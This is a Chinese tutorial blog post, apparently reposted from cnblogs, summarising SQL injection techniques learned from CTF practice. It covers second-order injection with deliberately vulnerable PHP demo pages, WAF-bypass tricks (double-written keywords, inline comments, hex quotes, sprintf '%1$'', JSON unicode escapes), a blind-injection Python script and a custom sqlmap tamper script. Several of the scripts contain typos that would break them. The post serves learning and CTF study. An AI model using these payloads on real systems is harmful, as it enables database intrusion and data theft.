sql注入总结(二)--2018自我整理

0x00前言:

继上篇的内容,这章总结下二次注入,python脚本,bypass

上篇sql注入总结(一)--2018自我整理

0x01二次注入:

二次注入的原理是在把非法代码添加进数据库里面存储了,因为 \' 这种转义不会把\(反斜杠)代入到数据库中存储,然后在其他地方调用了这个非法代码并且拼接到sql语句中了

简而言之

非法代码             ==存入==>  数据库        #非法代码  \' 这种转义的只会把 ' 存入数据库

数据库中的非法代码字段 ==取出==> 后台语言中的变量中

后台语言变量的非法代码 ==代入==> sql查询语句中进行拼接

这里我手写了个建议的二次注入原理代码

插入数据页面代码input.php

<?php
    $conn = mysql_connect('localhost', 'root', 'root');
    mysql_select_db("test", $conn);
?>

<html>
    <head>
        <meta charset="utf-8">
    </head>
    <form action="" method="post">
        用户id:<input type = "text" name="id" value="" /><br>
        用户名:<input type = "text" name="username" value="" /><br>
        密码:<input type = "text" name="password" value="" /><br>
        邮箱:<input type ="text" name="email" value="" /><br>
        <input type="submit" name="submit" />
    </form>
</html>

<?php
    $id = @addslashes($_POST['id']);
    $username = @addslashes($_POST['username']);
    $password = @addslashes($_POST['password']);
    $email = @addslashes($_POST['email']);
    $sql = "insert into userinfo values('$id','$username','$password','$email')";
    mysql_query($sql);
?>

查询数据页面代码out.php

<?php
    $uid = $_GET['uid'];
    $conn = mysql_connect('localhost', 'root', 'root');
    mysql_select_db("test", $conn);
    $sql = "SELECT * FROM userinfo where id='$uid'";
    $result = mysql_query($sql);
    $ans = mysql_fetch_array($result);
    $username = $ans['username'];
    $sql2 = "SELECT * FROM userinfo where username='$username'";
    $result = mysql_query($sql2);
    $ans = mysql_fetch_array($result);
    var_dump($ans);

首先查看数据库里面的数据,就2个

在input.php页面添加信息,用户名就是我们的注入代码

再看数据库,发现 \ 这个符号确实没有被代入数据库中存储

在out.php中传入get参数3,发现执行union联合查询输出的1,2,database(),4。这里我数据库名字叫做'test'

至此二次查询的原理就是这样,在ctf中曾做过一道二次查询的题目

题目攻击方式大致是通过注册,如果执行成功主页和执行失败的主页是有区别的,然后写python脚本盲注得出flag

其中用户名的代码为

'or if((length((select database()))>0),1,0) or'

代入数据库前完整代码可能是
insert into user values('id','\'or if((length((select database()))>0),1,0) or\'','password')

取出数据时候的情况即
$username = $ans['username']    #$username = 'or if((length((select database()))>0),1,0) or'

第二次拼接的情况
mysql_query("select * from user where username = ''or if((length((select database()))>0),1,0) or'' ")

 那么还存在一种情况就是拼接的字段是id,但是id我们不可控,比如(当然该条件有个限制即 '(单引号) 没有被转义!!!!!!)

mysql_query("insert into userinfo values('4','$username', '$password', '$email')");

查询语句根据username取出数据库内容,再把id拼接到查询语句
$id = $ans['Id'];
mysql_query("select * from userinfo where id = $id ")

这时候我们可以控制$email参数,做到写入多组记录

[email protected]'),('5','\' union select (database()),2,3,4 #\'','haha','[email protected]

可以看到一口气注册了2个账号,而5号账号是我可控的(我将源代码中input.php的addslashes给去除了)

类比下,如果只有中间的password我们可控的话

password','[email protected]'),('5','\' union select (database()),2,3,4 #\'','haha','[email protected]'),('6','myname','password2    #这样会出现3组数据
或者
password','[email protected]'),('5','\' union select (database()),2,3,4 #\'','haha                             #这样就出现2组数据

0x02bypass:

写bypass总有些心虚,因为自己知道的不多23333

双写绕过清空

有些waf是用preg_match将非法字符替换为空,比如

$sql = preg_match("/union|select/i", "", $sql)

它不是把你数据直接挡掉报错,而是处理后仍然通行,在有/xx/i忽视大小写可以双写

selselectect  ==去掉其中的select==> sel去掉的ect ==> select

url和base64编码

其实这不怎么算bypass,但是有些书上也这么讲,这里稍微写下

在有些代码中会对参数进行base64解码,url解码等操作,如果这些操作在转义或者waf之后的话,就会逃过过滤达到注入的效果

如果在处理之前的话就没有作用啦

内敛注释

在有些在后台代码上对关键字并未过滤,但是之后会经过安全软件,再存入数据库,有时候内敛注释可以骗过安全软件

/*!union*/    #其中的union是会执行的

空格被过滤

有2中办法,通过括号或者/**/来完成不需要空格也能执行的方法

xx'/**/union/**/select/**/1,2,3,4/**/#
xx'union select(1),(2),(3)#
空格有个问题,它是将参数括起来来绕过空格,但是如果2个关键字比如这里的union和select没法一个当另一个的参数,于是有时候这个方法也不灵

单引号的过滤

虽然sql注入第一步就是将单引号逃逸出来,但是有时候单引号逃逸了后会在单引号前面加些奇怪的东西,比如GBK宽字节注入

这时候可以hex编码

'内容'  等价于 0x内容的十六进制编码

'abc'   = 0x616263

特别的sprintf

有些时候会用sprintf来包裹sql语句,但是sprintf这个函数有个问题在,非正常的地方输入%,会提示warning(如果没有用@禁止的话)

利用方法,用 %1$' 代替 '

'  ==> %1$'
%1$'or 1=1 #

关键字的绕过

在总结一中归纳了  ,(逗号) 被过滤的方法

if(exp1, exp2, exp3)   =>  case when exp1 then exp2 else exp3 endsubstr(exp1, 1, 1)     => substr(exp1) from 1 for 1

如果 and 和 or 被过滤了

and   => &&
or    => ||

如果where被过滤了

where id='1'   =>  order by id having id='1' 

如果'='被过滤了

'='    =>  '<>'

如果'<','>','='被过滤了,但是要设置范围

id = 1   ==> id between 1 and 1

关于json的编码

之前做18年HCTF的时候,一道简单的代码审计题,会将cookie中的值代入waf中,然后再进入数据库

关键点在于在经过waf后,它会进行json的解码。

在json解码中有个Unicode的编码问题,有兴趣大家可以百度下,我这里直接写利用方法

json编码可以用\u00xx (xx为16进制ascii码)来用Unicode来编码对应字符。如果waf在json_decode之前,那么可以通过这个方法绕过

'\u0075'  ==>  'u'

0x03python脚本

sqlmap十分强大,但是就算是level5,有时候也会被特别的waf给拦截,调用它的bypass模块又记不住。这里就总结下自己怎么写盲注python脚本

import requests
url = "xxxx"
flag = "" s = reuqest.session()      #获取会话
for i in range(100):       #在bool还是延时注入的时候都要一个个试,假设我们这里不知道目标字段的长度就稍微设置个合适的
  for j in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()_-,.":    #这个是可能的字符,一个个试呗
    payload = "xx' or if((substr(database())=" + str(j) + "," + str(i) + ",1),1,0) #"       #手工测出来有效的payload,当然实际情况会根据waf变个型
    data = {
      'username':'payload',
      'password':'123'
    }
    s.post(url,data=data)  #发送数据
    if "right" in s.text :  #如果返回值有在sql语句成功后有不同于失败的时候的回显,将该回显当做判定
      flag += str(j)
      print flag
      beak

那么我们在知道替换规则的情况下可以自己写sqlmap的bypass脚本

在sqlmap文件夹下的/tamper/下,自己创建个py文件

#!/usr/bin/env python
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    payload = payload.replace("'","%1$'")      #将什么替换成什么
    payload = payload.replace("u","\u0075")      #将什么替换成什么,可以写很多个
    return payloay

在sqlmap使用的时候调用这个模块,即可使用自定义过程

sqlmap --tamper=模块名.py -u 'http://xxx.xx.xx.xx/ddd.php?id=1'

0xff结语

sql注入差不多我近一年来学到的就这些,可能还远远不够,遇到一个记一个是个笨办法,但也不失是一个好办法。

猜你喜欢

转载自www.cnblogs.com/sijidou/p/10244738.html